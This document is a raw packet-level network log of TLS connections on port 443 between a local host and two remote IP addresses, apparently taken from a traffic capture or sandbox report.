Dec 17, 2024 10:08:30.928534985 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:30.928584099 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:30.928718090 CET	49729	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:30.928744078 CET	443	49729	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:30.928769112 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:30.928781986 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:30.928905964 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:30.928911924 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:30.929028034 CET	443	49729	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:30.929049015 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:30.929054976 CET	49729	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:30.929071903 CET	49729	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:30.929114103 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:30.975322008 CET	443	49728	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:30.975326061 CET	443	49729	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.251899958 CET	443	49726	104.21.2.110	192.168.2.6
Dec 17, 2024 10:08:31.252002954 CET	443	49726	104.21.2.110	192.168.2.6
Dec 17, 2024 10:08:31.252048969 CET	49726	443	192.168.2.6	104.21.2.110
Dec 17, 2024 10:08:31.252253056 CET	49726	443	192.168.2.6	104.21.2.110
Dec 17, 2024 10:08:31.252274990 CET	443	49726	104.21.2.110	192.168.2.6
Dec 17, 2024 10:08:31.315701008 CET	443	49729	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.315732002 CET	443	49729	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.315747976 CET	443	49729	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.315763950 CET	49729	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:31.315783978 CET	443	49729	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.315803051 CET	49729	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:31.315854073 CET	49729	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:31.331170082 CET	443	49728	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.331203938 CET	443	49728	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.331224918 CET	443	49728	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.331233025 CET	49728	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:31.331248045 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.331267118 CET	49728	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:31.331271887 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.331278086 CET	443	49728	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.331325054 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.331340075 CET	49728	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:31.331377983 CET	49728	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:31.331382036 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:31.331407070 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:31.331418037 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.331461906 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:31.402672052 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.402740955 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.402745008 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:31.402770996 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.402801037 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:31.402828932 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:31.435957909 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.435982943 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.436033010 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:31.436104059 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:31.436120033 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.436162949 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:31.450289965 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.450366020 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:31.502079010 CET	443	49729	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.502114058 CET	443	49729	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.502183914 CET	49729	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:31.502207994 CET	443	49729	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.502235889 CET	49729	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:31.502254009 CET	49729	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:31.510251999 CET	49737	443	192.168.2.6	104.21.2.110
Dec 17, 2024 10:08:31.510305882 CET	443	49737	104.21.2.110	192.168.2.6
Dec 17, 2024 10:08:31.510377884 CET	49737	443	192.168.2.6	104.21.2.110
Dec 17, 2024 10:08:31.510754108 CET	49737	443	192.168.2.6	104.21.2.110
Dec 17, 2024 10:08:31.510765076 CET	443	49737	104.21.2.110	192.168.2.6
Dec 17, 2024 10:08:31.513588905 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.513617992 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.513669014 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:31.513684034 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.513736010 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:31.518965006 CET	443	49728	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.518996000 CET	443	49728	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.519047976 CET	49728	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:31.519061089 CET	443	49728	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.519104958 CET	49728	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:31.542898893 CET	443	49729	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.542927980 CET	443	49729	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.542993069 CET	49729	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:31.543011904 CET	443	49729	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.543051958 CET	49729	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:31.566607952 CET	443	49728	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.566632032 CET	443	49728	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.566709042 CET	49728	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:31.566721916 CET	443	49728	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.566765070 CET	49728	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:31.593974113 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.594006062 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.594054937 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:31.594072104 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.594125986 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:31.604768991 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.604883909 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:31.604895115 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.604945898 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:31.634438038 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.634522915 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:31.634535074 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.634588957 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:31.656338930 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.656430006 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:31.656440020 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.656500101 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:31.668477058 CET	443	49729	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.668504953 CET	443	49729	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.668589115 CET	49729	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:31.668616056 CET	443	49729	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.668665886 CET	49729	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:31.678683043 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.678770065 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:31.678781033 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.678821087 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:31.682374954 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.682396889 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.682470083 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:31.682482958 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.682540894 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:31.685995102 CET	443	49728	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.686021090 CET	443	49728	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.686069965 CET	49728	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:31.686079979 CET	443	49728	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.686139107 CET	49728	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:31.697395086 CET	443	49729	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.697412014 CET	443	49729	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.697478056 CET	49729	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:31.697490931 CET	443	49729	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.697540045 CET	49729	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:31.716453075 CET	443	49728	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.716476917 CET	443	49728	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.716548920 CET	49728	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:31.716563940 CET	443	49728	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.716634989 CET	49728	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:31.720592022 CET	443	49729	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.720614910 CET	443	49729	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.720669985 CET	49729	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:31.720685959 CET	443	49729	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.720738888 CET	49729	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:31.721972942 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.721997976 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.722049952 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:31.722059011 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.722112894 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:31.739789963 CET	443	49728	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.739820004 CET	443	49728	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.739893913 CET	49728	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:31.739908934 CET	443	49728	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.739944935 CET	49728	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:31.741439104 CET	443	49729	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.741463900 CET	443	49729	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.741547108 CET	49729	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:31.741574049 CET	443	49729	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.741619110 CET	49729	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:31.746869087 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.746893883 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.746992111 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:31.747013092 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.747092962 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:31.761056900 CET	443	49728	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.761089087 CET	443	49728	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.761115074 CET	49728	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:31.761126995 CET	443	49728	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.761163950 CET	49728	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:31.761181116 CET	49728	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:31.771534920 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.771559000 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.771634102 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:31.771656990 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.771694899 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:31.789158106 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.789264917 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:31.789282084 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.789334059 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:31.807281971 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.807363033 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:31.807379007 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.807442904 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:31.829967976 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.830034971 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:31.830070019 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:31.830080032 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.830128908 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:31.844367981 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.844429016 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:31.844441891 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.844477892 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:31.855469942 CET	443	49729	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.855509996 CET	443	49729	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.855547905 CET	49729	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:31.855564117 CET	443	49729	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.855600119 CET	49729	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:31.855616093 CET	49729	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:31.862487078 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.862585068 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:31.862595081 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.862852097 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:31.868097067 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.868170977 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:31.868186951 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.868238926 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:31.871501923 CET	443	49729	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.871527910 CET	443	49729	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.871567965 CET	49729	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:31.871576071 CET	443	49729	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.871608019 CET	49729	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:31.871627092 CET	49729	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:31.873724937 CET	443	49728	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.873760939 CET	443	49728	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.873794079 CET	49728	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:31.873802900 CET	443	49728	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.873848915 CET	49728	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:31.873857975 CET	49728	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:31.881477118 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.881764889 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:31.881772041 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.881818056 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:31.886256933 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.886280060 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.886346102 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:31.886358023 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.886409998 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:31.886778116 CET	443	49729	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.886801958 CET	443	49729	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.886867046 CET	49729	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:31.886874914 CET	443	49729	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.886888981 CET	49729	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:31.886918068 CET	49729	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:31.889656067 CET	443	49728	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.889681101 CET	443	49728	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.889722109 CET	49728	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:31.889729977 CET	443	49728	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.889771938 CET	49728	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:31.896888018 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.896977901 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:31.896985054 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.897026062 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:31.899341106 CET	443	49729	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.899358034 CET	443	49729	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.899435043 CET	49729	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:31.899451971 CET	443	49729	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.899490118 CET	49729	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:31.901010036 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.901035070 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.901070118 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:31.901086092 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.901118040 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:31.901134968 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:31.905272007 CET	443	49728	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.905296087 CET	443	49728	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.905349016 CET	49728	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:31.905356884 CET	443	49728	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.905399084 CET	49728	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:31.912245035 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.912350893 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:31.912358046 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.912391901 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:31.914083004 CET	443	49729	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.914104939 CET	443	49729	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.914154053 CET	49729	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:31.914166927 CET	443	49729	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.914191961 CET	49729	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:31.914210081 CET	49729	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:31.914562941 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.914583921 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.914633036 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:31.914639950 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.914669991 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:31.914694071 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:31.916738987 CET	443	49728	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.916760921 CET	443	49728	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.916824102 CET	49728	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:31.916834116 CET	443	49728	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.916866064 CET	49728	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:31.927593946 CET	443	49729	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.927615881 CET	443	49729	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.927697897 CET	49729	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:31.927712917 CET	443	49729	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.927746058 CET	49729	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:31.927764893 CET	49729	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:31.929126978 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.929145098 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.929203987 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:31.929210901 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.929236889 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:31.929254055 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:31.931662083 CET	443	49728	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.931684017 CET	443	49728	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.931729078 CET	49728	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:31.931739092 CET	443	49728	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.931766987 CET	49728	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:31.931798935 CET	49728	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:31.943692923 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.943713903 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.943810940 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:31.943824053 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.943864107 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:31.945137978 CET	443	49728	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.945158958 CET	443	49728	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.945240974 CET	49728	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:31.945249081 CET	443	49728	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.945275068 CET	49728	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:31.945297003 CET	49728	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:31.981736898 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.981820107 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:31.981836081 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.981883049 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:31.997853994 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.997958899 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:31.997967958 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:31.998008013 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.008338928 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.008416891 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.008429050 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.008472919 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.019298077 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.019375086 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.019386053 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.019432068 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.032066107 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.032151937 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.032164097 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.032202959 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.041511059 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.041570902 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.041579008 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.041616917 CET	49730	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.042484999 CET	443	49729	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.042512894 CET	443	49729	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.042563915 CET	49729	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.042587042 CET	443	49729	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.042599916 CET	49729	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.042642117 CET	49729	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.049334049 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.049386978 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.049503088 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.049503088 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.049534082 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.049583912 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 10:08:32.050396919 CET	443	49730	150.171.27.10	192.168.2.6
Dec 17, 2024 10:08:32.050595999 CET	49730	443	192.168.2.6	150.171.27.10
